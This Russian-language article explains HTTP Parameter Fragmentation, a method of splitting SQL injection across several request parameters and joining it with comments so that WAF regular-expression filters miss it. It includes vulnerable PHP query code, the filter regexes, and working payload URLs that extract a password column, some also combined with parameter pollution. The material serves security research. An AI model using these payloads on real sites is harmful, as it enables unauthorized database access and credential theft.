HTTP Parameter Fragmentation (HPF) один из способов обхода фильтров безопасности в Web-приложениях

Идея использования фрагментации предаваемых параметров (HPF) при обращении к Web-приложению с целью обхода фильтров безопасности (в частности WAF ) не является сколь угодно новой. Данную технику, по словам одного из участников WASC Mailing List , эпизодически можно встретить в публикуемых эксплоитах на сайте milw0rm.com . Однако применение данной техники, в том числе и в настоящее время, позволяет эффективно обходить используемые фильтры в большинстве современных WAF (в частности промышленного - mod_security ). В чем же суть данной техники? Разберем на примерах эксплуатации уязвимости SQL Injection . Достаточно часто требуется, чтобы в один SQL-запрос попадало два и более параметра со стороны пользователя, например: Query("select * from table where a=".$_REQUEST ['a']." and b>".$_REQUEST ['b']); Query("select * from table where a=".$_REQUEST ['a']." and b<".$_REQUEST ['b']." limit ".$_REQUEST['c']); и т.д. name='more'> На этапе проверки получаемых значений, передаваемых параметров со стороны пользователя, на уровне Web-приложения, приложение способно оперировать только переменными Web-сервера, а WAF, в зависимости от режима своей работы, может манипулировать непосредственно сырыми данными протокола HTTP. Но вне зависимости от способа обращения к данным, все сводится к тому, что определенные регулярные выражения (regexp) отрабатывают для каждого параметра отдельно. То есть: preg_match("/(uni)(on.+sel)(ect)/is", $_REQUEST ['a']) preg_match("/(uni)(on.+sel)(ect)/is", $_REQUEST ['b']) preg_match("/(uni)(on.+sel)(ect)/is", $_REQUEST ['c']) ... preg_match("/(sel)(ect.+fr)(om)/is", $_REQUEST ['a']) preg_match("/(sel)(ect.+fr)(om)/is", $_REQUEST ['b']) preg_match("/(sel)(ect.+fr)(om)/is", $_REQUEST ['c']) ... Таким образом, разнося логику sql-запроса по параметрам, поступающим в этот SQL-запрос, и склеивая их, путем использования комментариев, становится возможным обойти подобные фильтры: /?a=1+union/*&b=*/select+1,2 /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users Regexpы не отрабатывают: preg_match("/(uni)(on.+sel)(ect)/is", "1+union/*") = false preg_match("/(uni)(on.+sel)(ect)/is", "*/select+1,2") = false ... preg_match("/(sel)(ect.+fr)(om)/is", "*/from+users") = false ... SQL-запросы принимают вид: Query("select * from table where a=1 union/* and b>*/select 1,2"); Query("select * from table where a=1 union/* and b<*/select 1,pass/* limit */from users"); Т.к. комментарии игнорируются, то фактически запросы выглядят так: select * from table where a=1 union select 1,2 select * from table where a=1 union select 1,pass from users Можно заметить, что HPF по вектору атаки очень похож на использование HPP ( HTTP Parameter Pollution ), однако, в отличие от второго, реализация HPF нацелена на эксплуатацию уязвимости в самом Web-приложении, а не его среды, как это происходит в случае с HPP. И, безусловно, оба метода атаки могут дополнять друг друга. Например, комбинирование двух техник может использоваться в случае, когда SQL-инъекция попадает последовательно в два SQL-запроса: Query("select id,user,email from table where a=".$_REQUEST ['a']." limit ".$_REQUEST ['b']); Query("select id,user from table where a=".$_REQUEST ['a']); Предположим, что вывод отображается только в том случае, когда оба запроса не возвращают ошибку БД. Тогда, комбинируя методы HPP и HPF, вместо blind-SQL Injection, становится возможным использовать union, например, следующим образом: /?a=1+union/*&a=*/select+1,2/*&b=*/,3 И SQL-запросы примут корректный вид: select id,user,email from table where a=1 union select 1,2,3 select id,user from table where a=1 union select 1,2 Источники: antichat: http://forum.antichat.ru/showpost.php?p=911841&postcount=2 antichat: http://forum.antichat.ru/showpost.php?p=970729&postcount=3 OWASP EU09 Luca Carettoni, Stefano diPaola http://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf Lavakumar Kuppan, http://lavakumar.com/Split_and_Join.pdf WASC Mailing List, http://www.webappsec.org/lists/websecurity/archive/2009-08/msg00080.html CC09 Dmitry Evteev, http://www.ptsecurity.ru/download/PT-devteev-CC-WAF.pdf